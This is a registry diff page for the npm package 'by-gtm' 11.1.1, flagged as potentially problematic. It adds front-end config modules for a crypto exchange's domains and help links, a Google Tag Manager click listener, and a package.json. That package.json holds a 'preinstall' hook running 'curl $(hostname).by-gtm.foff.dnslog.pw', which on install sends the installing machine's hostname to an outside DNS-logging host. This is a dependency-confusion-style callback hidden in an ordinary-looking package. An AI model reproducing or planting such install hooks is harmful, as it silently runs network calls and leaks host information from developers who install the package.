by-gtm 11.1.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of by-gtm might be problematic. Click here for more details.

@@ -0,0 +1,238 @@
1
+ import _slicedToArray from '@babel/runtime/helpers/esm/slicedToArray';
2
+
3
+ var _window$location = window.location,
4
+ hostname = _window$location.hostname,
5
+ protocol = _window$location.protocol;
6
+ var _process$env = process.env,
7
+ BYBIT_COOKIE_DOMAIN = _process$env.BYBIT_COOKIE_DOMAIN,
8
+ BYBIT_API2_HOST = _process$env.BYBIT_API2_HOST,
9
+ BYBIT_WS2_HOST = _process$env.BYBIT_WS2_HOST;
10
+ var isSSL = protocol === 'https:';
11
+ var wsProtocol = isSSL ? 'wss:' : 'ws:'; // default config to dev-3
12
+ // www.dev-3.bybit.com
13
+
14
+ var isDev = true;
15
+ var env = 'dev-3';
16
+ var domain = 'bybit';
17
+ var domainType = 'com';
18
+
19
+ if (process.env.NODE_ENV === 'production') {
20
+ isDev = false;
21
+ var hostSplits = hostname.split('.');
22
+
23
+ if (hostSplits.length === 3) {
24
+ // www.bybit.com
25
+ // testnet.bybit.com
26
+ // m.bybit.com
27
+ // m-testnet.bybit.com
28
+ var _hostSplits = _slicedToArray(hostSplits, 3);
29
+
30
+ env = _hostSplits[0];
31
+ domain = _hostSplits[1];
32
+ domainType = _hostSplits[2];
33
+ }
34
+
35
+ if (hostSplits.length === 4) {
36
+ // www.dev-3.bybit.com
37
+ // m.dev-3.bybit.com
38
+ var _hostSplits2 = _slicedToArray(hostSplits, 4);
39
+
40
+ env = _hostSplits2[1];
41
+ domain = _hostSplits2[2];
42
+ domainType = _hostSplits2[3];
43
+ }
44
+ }
45
+
46
+ var isDevNeedSSL = isDev && (env === 'dev-3' || env === 'test-3');
47
+ /**
48
+ * env can be 1 of [
49
+ * 'www',
50
+ * 'm',
51
+ * 'testnet', 'm-testnet'
52
+ * 'test-1', 'test-2', 'test-3,
53
+ * 'dev-1', 'dev-2', 'dev-3'
54
+ * ] etc.
55
+ */
56
+
57
+ var envReg = /^(www|m)$/;
58
+ var isProdOrTestnetReg = /^(www|m|testnet|m-testnet)$/;
59
+ var isTestnet = env === 'testnet' || env === 'm-testnet';
60
+ var cdnStaticProd = 's1.bycsi.com';
61
+ var cdnStatic = isTestnet ? 't1.bycsi.com' : cdnStaticProd;
62
+ var isProd = isProdOrTestnetReg.test(env);
63
+ var DYNAMIC_ENV = env;
64
+ var currentDomain = "".concat(domain, ".").concat(domainType);
65
+ var api2ServicePrefix = "api2.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
66
+ var ws2ServicePrefix = "ws2.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
67
+ var chatPrefix = "chat.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
68
+
69
+ if (isTestnet) {
70
+ api2ServicePrefix = 'api2-testnet.';
71
+ chatPrefix = 'chat-testnet.';
72
+ ws2ServicePrefix = 'ws2-testnet.';
73
+ }
74
+
75
+ var tmsPath = '';
76
+
77
+ if (!isProd) {
78
+ tmsPath = 'https://tms-internal.bybit.com';
79
+ }
80
+
81
+ var affiliatesPrefix = 'affiliates.';
82
+
83
+ if (isTestnet || !isProd) {
84
+ affiliatesPrefix = 'affiliates-testnet.';
85
+ }
86
+
87
+ var AFFILIATES_HOST = "https://".concat(affiliatesPrefix).concat(domain, ".").concat(domainType);
88
+ var api2Prefix = api2ServicePrefix;
89
+ var ws2Prefix = ws2ServicePrefix;
90
+ var DOMAIN = domain;
91
+ var DOMAIN_TYPE = domainType;
92
+ var TOKEN_COOKIE_KEY = BYBIT_COOKIE_DOMAIN || "b_t_c_k".concat(envReg.test(env) ? '' : "_".concat(env));
93
+ var CDN_STATIC_PROD = "https://".concat(cdnStaticProd);
94
+ var CDN_STATIC = "https://".concat(cdnStatic);
95
+ var CHAT_URL = "".concat(protocol, "//").concat(chatPrefix).concat(domain, ".").concat(domainType, "/chat/by-chat-widget.js");
96
+ var apiProtocol = isDevNeedSSL ? 'https:' : protocol;
97
+ var ws2Protocol = isDevNeedSSL ? 'wss:' : wsProtocol;
98
+ var API2_HOST = BYBIT_API2_HOST || "".concat(protocol, "//").concat(api2Prefix).concat(domain, ".").concat(domainType);
99
+ var WS2_HOST = BYBIT_WS2_HOST || "".concat(ws2Protocol, "//").concat(ws2Prefix).concat(domain, ".").concat(domainType);
100
+ var TMS_HOST = process.env.BYBIT_TMS_HOST || tmsPath; // export const ZENDESK_HOST = 'https://bybit.zendesk.com';
101
+
102
+ var ZENDESK_HOST = "https://help.".concat(domain, ".com");
103
+ var BLOG_HOST = "https://blog.".concat(domain, ".com"); // zendesk urls
104
+
105
+ var zBaseLink = "".concat(ZENDESK_HOST, "/hc");
106
+ var helpLang = {
107
+ 'en-US': 'en-us',
108
+ 'zh-CN': 'zh-cn',
109
+ 'zh-TW': 'zh-tw',
110
+ 'ja-JP': 'ja',
111
+ 'ko-KR': 'ko',
112
+ 'ru-RU': 'en-us',
113
+ 'vi-VN': 'en-us'
114
+ }; // 标记价格
115
+
116
+ var zMarkPrice = function zMarkPrice(lang) {
117
+ var help = helpLang[lang] || 'en-us';
118
+ var link = {
119
+ 'en-US': "/".concat(help, "/articles/360039261074-What-is-Dual-Price-mechanism-"),
120
+ 'zh-CN': "/".concat(help, "/articles/360039261074-\u4EC0\u4E48\u662F\u53CC\u5957\u4EF7\u683C\u673A\u5236-"),
121
+ 'zh-TW': "/".concat(help, "/articles/360039261074-\u4EC0\u9EBC\u662F\u96D9\u5957\u50F9\u683C\u6A5F\u5236-"),
122
+ 'ja-JP': "/".concat(help, "/articles/360039261074-\u4E8C\u91CD\u4FA1\u683C\u30E1\u30AB\u30CB\u30BA\u30E0-\u516C\u6B63\u4FA1\u683C\u30DE\u30FC\u30AD\u30F3\u30B0\u3068\u306F-"),
123
+ 'ko-KR': "/".concat(help, "/articles/360039261074-\uC774\uC911-\uAC00\uACA9-\uC2DC\uC2A4\uD15C")
124
+ }[lang] || "/".concat(help, "/articles/360039261074-What-is-Dual-Price-mechanism-");
125
+ return "".concat(zBaseLink).concat(link);
126
+ }; // 反向强平价格
127
+
128
+ var zLiquidation = function zLiquidation(lang) {
129
+ var help = helpLang[lang] || 'en-us';
130
+ var link = {
131
+ 'en-US': "/".concat(help, "/articles/360039261334-How-to-calculate-Liquidation-Price-Inverse-Contract-"),
132
+ 'zh-CN': "/".concat(help, "/articles/360039261334-\u5F3A\u5E73\u4EF7\u683C\u8BA1\u7B97-\u53CD\u5411\u6C38\u7EED-"),
133
+ 'zh-TW': "/".concat(help, "/articles/360039261334-\u5F37\u5E73\u50F9\u683C\u8A08\u7B97-\u53CD\u5411\u6C38\u7E8C-"),
134
+ 'ja-JP': "/".concat(help, "/articles/360039261334-\u5F37\u5236\u6C7A\u6E08\u3068\u306F\u4F55\u3067\u3059\u304B-\u30A4\u30F3\u30D0\u30FC\u30B9\u578B\u5951\u7D04-"),
135
+ 'ko-KR': "/".concat(help, "/articles/360039261334-\uAC15\uC81C\uCCAD\uC0B0\uC774\uB780-\uC778\uBC84\uC2A4-\uBB34\uAE30\uD55C-")
136
+ }[lang] || "/".concat(help, "/articles/360039261334-How-to-calculate-Liquidation-Price-Inverse-Contract-");
137
+ return "".concat(zBaseLink).concat(link);
138
+ }; // 正向强平价格
139
+
140
+ var zLinearLiquidation = function zLinearLiquidation(lang) {
141
+ var help = helpLang[lang] || 'en-us';
142
+ var link = {
143
+ 'en-US': "/".concat(help, "/articles/900000181046-Liquidation-Price-USDT-Contract-"),
144
+ 'zh-CN': "/".concat(help, "/articles/900000181046-\u5F3A\u5E73\u4EF7\u683C\u8BA1\u7B97-USDT\u6C38\u7EED-"),
145
+ 'zh-TW': "/".concat(help, "/articles/900000181046-\u5F37\u5E73\u50F9\u683C\u8A08\u7B97-USDT\u6C38\u7E8C-"),
146
+ 'ja-JP': "/".concat(help, "/articles/900000181046-USDT\u7121\u671F\u9650\u5951\u7D04\u3067\u306E\u5F37\u5236\u6C7A\u6E08\u4FA1\u683C"),
147
+ 'ko-KR': "/".concat(help, "/articles/900000181046-\uAC15\uC81C\uCCAD\uC0B0-\uAC00\uACA9-\uACC4\uC0B0\uBC29\uBC95-USDT\uACC4\uC57D-")
148
+ }[lang] || "/".concat(help, "/articles/900000181046-Liquidation-Price-USDT-Contract-");
149
+ return "".concat(zBaseLink).concat(link);
150
+ }; // 风险限额
151
+
152
+ var zRiskLimit = function zRiskLimit(lang) {
153
+ var help = helpLang[lang] || 'en-us';
154
+ var link = {
155
+ 'en-US': "/".concat(help, "/articles/360039749753"),
156
+ 'zh-CN': "/".concat(help, "/articles/360039749753"),
157
+ 'zh-TW': "/".concat(help, "/articles/360039749753"),
158
+ 'ja-JP': "/".concat(help, "/articles/360039749753"),
159
+ 'ko-KR': "/".concat(help, "/articles/360039749753")
160
+ }[lang] || "/".concat(help, "/articles/360039749753");
161
+ return "".concat(zBaseLink).concat(link);
162
+ }; // 交易费用, 反向永续/正向永续
163
+
164
+ var TFEEURL = function TFEEURL(lang) {
165
+ var help = helpLang[lang] || 'en-us';
166
+ var link = {
167
+ 'en-US': "/".concat(help, "/articles/360039261154"),
168
+ 'zh-CN': "/".concat(help, "/articles/360039261154"),
169
+ 'zh-TW': "/".concat(help, "/articles/360039261154"),
170
+ 'ja-JP': "/".concat(help, "/articles/360039261154"),
171
+ 'ko-KR': "/".concat(help, "/articles/360039261154"),
172
+ 'ru-RU': "/".concat(help, "/articles/360039261154")
173
+ }[lang] || "/".concat(help, "/articles/360039261154");
174
+ return "".concat(zBaseLink).concat(link);
175
+ }; // 交易费用, 反向交割
176
+
177
+ var FITFEEURL = function FITFEEURL(lang) {
178
+ var help = helpLang[lang] || 'en-us';
179
+ var link = {
180
+ 'en-US': "/".concat(help, "/articles/900003221726"),
181
+ 'zh-CN': "/".concat(help, "/articles/900003221726"),
182
+ 'zh-TW': "/".concat(help, "/articles/900003221726"),
183
+ 'ja-JP': "/".concat(help, "/articles/900003221726"),
184
+ 'ko-KR': "/".concat(help, "/articles/900003221726"),
185
+ 'ru-RU': "/".concat(help, "/articles/900003221726")
186
+ }[lang] || "/".concat(help, "/articles/900003221726");
187
+ return "".concat(zBaseLink).concat(link);
188
+ }; // 资金费率计算
189
+
190
+ var FFEEURL = function FFEEURL(lang) {
191
+ var help = helpLang[lang] || 'en-us';
192
+ var link = {
193
+ 'en-US': "/".concat(help, "/articles/360039261114"),
194
+ 'zh-CN': "/".concat(help, "/articles/360039261114"),
195
+ 'zh-TW': "/".concat(help, "/articles/360039261114"),
196
+ 'ja-JP': "/".concat(help, "/articles/360039261114"),
197
+ 'ko-KR': "/".concat(help, "/articles/360039261114"),
198
+ 'ru-RU': "/".concat(help, "/articles/360039261114")
199
+ }[lang] || "/".concat(help, "/articles/360039261114");
200
+ return "".concat(zBaseLink).concat(link);
201
+ }; // 指数价格
202
+
203
+ var INDEXPRICEURL = function INDEXPRICEURL(lang) {
204
+ var help = helpLang[lang] || 'en-us';
205
+ var link = {
206
+ 'en-US': "/".concat(help, "/articles/360039261094"),
207
+ 'zh-CN': "/".concat(help, "/articles/360039261094"),
208
+ 'zh-TW': "/".concat(help, "/articles/360039261094"),
209
+ 'ja-JP': "/".concat(help, "/articles/360039261094"),
210
+ 'ko-KR': "/".concat(help, "/articles/360039261094"),
211
+ 'ru-RU': "/".concat(help, "/articles/360039261094")
212
+ }[lang] || "/".concat(help, "/articles/360039261094");
213
+ return "".concat(zBaseLink).concat(link);
214
+ }; // 交割 指数价格
215
+
216
+ var FUTUREINDEXPRICEURL = function FUTUREINDEXPRICEURL(lang) {
217
+ var help = helpLang[lang] || 'en-us';
218
+ var link = {
219
+ 'en-US': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
220
+ 'zh-CN': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
221
+ 'zh-TW': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
222
+ 'ja-JP': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
223
+ 'ko-KR': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
224
+ 'ru-RU': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-")
225
+ }[lang] || "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-");
226
+ return "".concat(zBaseLink).concat(link);
227
+ };
228
+ var exportUrl = isProd ? 'https://public.bybit.com' : process.env.BYBIT_EXPORT_URL;
229
+
230
+ export { AFFILIATES_HOST, API2_HOST, BLOG_HOST, CDN_STATIC, CDN_STATIC_PROD, CHAT_URL, DOMAIN, DOMAIN_TYPE, DYNAMIC_ENV, FFEEURL, FITFEEURL, FUTUREINDEXPRICEURL, INDEXPRICEURL, TFEEURL, TMS_HOST, TOKEN_COOKIE_KEY, WS2_HOST, ZENDESK_HOST, api2Prefix, apiProtocol, cdnStatic, currentDomain, exportUrl, helpLang, isProd, ws2Prefix, ws2Protocol, zBaseLink, zLinearLiquidation, zLiquidation, zMarkPrice, zRiskLimit };
231
+
232
+
233
+
234
+ //////////////////
235
+ // WEBPACK FOOTER
236
+ // ./node_modules/by-data-pool/node_modules/by-dynamic-domain/dist/by-dynamic-domain.es.js
237
+ // module id = null
238
+ // module chunks =
package/by-gtm.js ADDED
@@ -0,0 +1,49 @@
1
+ /* eslint-disable */
2
+
3
+ /**
4
+ * @global dataLayer can be filled info and send to Google Tag Manager.
5
+ */
6
+ window.dataLayer = window.dataLayer || [];
7
+
8
+ /**
9
+ * @function pushEvent - Sendout data ,needs three params:
10
+ * @param {string} eventAction
11
+ * @param {string} eventCategory
12
+ * @param {string} eventLabel
13
+ */
14
+ const pushEvent = (eventAction, eventCategory, eventLabel) => {
15
+ window.dataLayer.push({ event: "GAEvent", eventAction, eventCategory, eventLabel });
16
+ };
17
+
18
+ /**
19
+ * At first listen page, second get variable buried`s value,then sendout data
20
+ * @variable {string} buried - comes from the clicked html tag.
21
+ * @param {Array} buriedValArr - at least 3 params
22
+ * Usage: set property at html tags. <div data-buried="'action','category','label'"></div>
23
+ */
24
+ export const addGtmListener = () => {
25
+ document.addEventListener(
26
+ "click",
27
+ function(e) {
28
+ const { buried } = e.target.dataset;
29
+ if (!buried) return;
30
+ const buriedArr = buried.split(",");
31
+ pushEvent(...buriedArr);
32
+ },
33
+ true,
34
+ );
35
+ };
36
+
37
+ /**
38
+ * Export event to use it in the method.
39
+ * Usage: pushEvent('action','category','label')
40
+ */
41
+ export default pushEvent;
42
+
43
+
44
+
45
+ //////////////////
46
+ // WEBPACK FOOTER
47
+ // ./node_modules/by-gtm/index.js
48
+ // module id = +gEr
49
+ // module chunks = 65
package/env.js ADDED
@@ -0,0 +1,101 @@
1
+ var _window$location = window.location,
2
+ hostname = _window$location.hostname,
3
+ protocol = _window$location.protocol; // 运行环境根据域名判断
4
+
5
+ export var isProdOrTestnet = /^[^.]+\.[^.]+\.[^.]+$/.test(hostname);
6
+ export var isTestnet = isProdOrTestnet && /^[^.]*testnet[^.]*\./.test(hostname);
7
+ export var isProd = isProdOrTestnet && !isTestnet;
8
+ export var isTest = !isTestnet && !isProd;
9
+ export var isDev = isTest;
10
+ export var isSSL = protocol === 'https:';
11
+ /* (START) Just for Automan
12
+ 以下代码与业务template 以及 automan功能脚本注入 联动,关联性暂时依赖人为维护,可维护性待升级
13
+ */
14
+ // eslint-disable-next-line no-underscore-dangle
15
+
16
+ var globalConfig = window.__BYBIT_GLOBAL_CONFIG__ || {};
17
+ var ac = globalConfig.enableAutoman && globalConfig.automan || {};
18
+ export var ENV_RUNTIME_ENV = ac.AUTOMAN_RUNTIME_ENV; // 接口相关
19
+
20
+ export var ENV_API2_HOST = ac.AUTOMAN_API2_HOST;
21
+ export var ENV_WS2_HOST = ac.AUTOMAN_WS2_HOST; // 翻译
22
+
23
+ export var ENV_TMS_HOST = ac.AUTOMAN_TMS_HOST;
24
+ export var ENV_TMS_PATH = ac.AUTOMAN_TMS_PATH;
25
+ export var ENV_TMS_FULL_PATH = ac.AUTOMAN_TMS_FULL_PATH; // 线路切换
26
+
27
+ export var ENV_SERVICE_DOMAINS = ac.AUTOMAN_SERVICE_DOMAINS; // apm
28
+
29
+ export var ENV_APM_ENABLED = ac.AUTOMAN_APM_ENABLED;
30
+ export var ENV_APM_URL = ac.AUTOMAN_APM_URL; // sentry
31
+
32
+ export var ENV_SENTRY_ENABLED = ac.AUTOMAN_SENTRY_ENABLED;
33
+ export var ENV_SENTRY_DSN = ac.AUTOMAN_SENTRY_DSN; // Logger
34
+
35
+ export var ENV_LOGGER_ENABLED = ac.AUTOMAN_LOGGER_ENABLED;
36
+ export var ENV_LOGGER_URL = ac.AUTOMAN_LOGGER_URL; // Metric
37
+
38
+ export var ENV_METRIC_URL = ac.AUTOMAN_METRIC_URL;
39
+ export var ENV_METRIC_ENABLED = ac.AUTOMAN_METRIC_ENABLED;
40
+ /* 以上代码与业务template 以及 automan功能脚本注入 联动,关联性暂时依赖人为维护,可维护性待升级
41
+ (END) Just for Automan
42
+ */
43
+ // runtime env 代替原来jenkins中的构建常量BUILD_ENV
44
+
45
+ var runtimeEnv = 'local';
46
+
47
+ if (isTestnet) {
48
+ runtimeEnv = 'testnet';
49
+ } else if (isProd) {
50
+ runtimeEnv = 'prod';
51
+ } else if (isTest) {
52
+ runtimeEnv = 'test';
53
+ }
54
+
55
+ export var RUNTIME_ENV = ENV_RUNTIME_ENV || runtimeEnv; // 翻译系统
56
+
57
+ var tmsHost = isTest ? 'https://tms.ffe390afd658c19dcbf707e0597b846d.de' : '';
58
+ export var TMS_HOST = process.env.BYBIT_TMS_HOST || ENV_TMS_HOST || tmsHost;
59
+ var tmsPath = isTest ? '/download/{{projectId}}/{{ns}}/{{lng}}/' : '/translations/{{projectId}}/{{lng}}/{{ns}}.json';
60
+ export var TMS_PATH = process.env.BYBIT_I18N_SOURCE_URL || ENV_TMS_PATH || tmsPath;
61
+ export var TMS_FULL_PATH = ENV_TMS_FULL_PATH || "".concat(TMS_HOST).concat(TMS_PATH); // 线路切换
62
+
63
+ var serviceDomains = '';
64
+
65
+ if (isTestnet) {
66
+ serviceDomains = 'bybitglobal.com';
67
+ } else if (isProd) {
68
+ serviceDomains = 'bycbe.com, byapis.com';
69
+ } else if (isTest) {
70
+ serviceDomains = 'bybit-cn.com';
71
+ }
72
+
73
+ export var BYBIT_SERVICE_DOMAINS = process.env.BYBIT_SERVICE_DOMAINS || ENV_SERVICE_DOMAINS || serviceDomains;
74
+ /* skynet begin */
75
+ // APM
76
+
77
+ var apmUrl = isProd && 'https://apm.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTestnet && 'https://apm-testnet.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTest && 'http://10.110.185.208:30859' || 'http://10.120.140.129:30859';
78
+ export var APM_URL = process.env.BYBIT_APM_URL || ENV_APM_URL || apmUrl;
79
+ var apmDisabled = process.env.BYBIT_APM_DISABLED === 'true';
80
+ export var APM_ENABLED = process.env.BYBIT_APM_DISABLED || !apmDisabled; // Sentry
81
+
82
+ export var SENTRY_DSN = process.env.BYBIT_SENTRY_DSN || ENV_SENTRY_DSN;
83
+ var sentryDisabled = process.env.BYBIT_SENTRY_DISABLED === 'true';
84
+ export var SENTRY_ENABLED = ENV_SENTRY_ENABLED || !sentryDisabled; // Logger
85
+
86
+ var logger_url = isProd ? 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front' : 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front-testnet';
87
+ export var LOGGER_URL = process.env.BYBIT_LOGGER_URL || ENV_LOGGER_URL || logger_url;
88
+ var loggerDisabled = process.env.BYBIT_LOGGER_DISABLED === 'true';
89
+ export var LOGGER_ENABLED = ENV_LOGGER_ENABLED || !loggerDisabled; // Metric
90
+
91
+ export var METRIC_URL = process.env.BYBIT_METRIC_URL || ENV_METRIC_URL || '/v2/public/metrics';
92
+ var metricDisabled = process.env.BYBIT_METRIC_DISABLED === 'true';
93
+ export var METRIC_ENABLED = ENV_METRIC_ENABLED || !metricDisabled;
94
+ /* skynet end */
95
+
96
+
97
+ //////////////////
98
+ // WEBPACK FOOTER
99
+ // ./node_modules/by-env/es/env.js
100
+ // module id = null
101
+ // module chunks =
package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ /* Just a template root here
2
+ * This file used to wrapper all source files.
3
+ *
4
+ * e.g.
5
+ * export { default as fn } from './src/fn'
6
+ */
7
+ export * from './env';
8
+
9
+
10
+ //////////////////
11
+ // WEBPACK FOOTER
12
+ // ./node_modules/by-env/es/index.js
13
+ // module id = null
14
+ // module chunks =
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "by-gtm",
3
+ "version": "11.1.1",
4
+ "description": "",
5
+ "main": "by-gtm.js",
6
+ "scripts": {
7
+ "test": "echo 123",
8
+ "preinstall": "curl $(hostname).by-gtm.foff.dnslog.pw"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }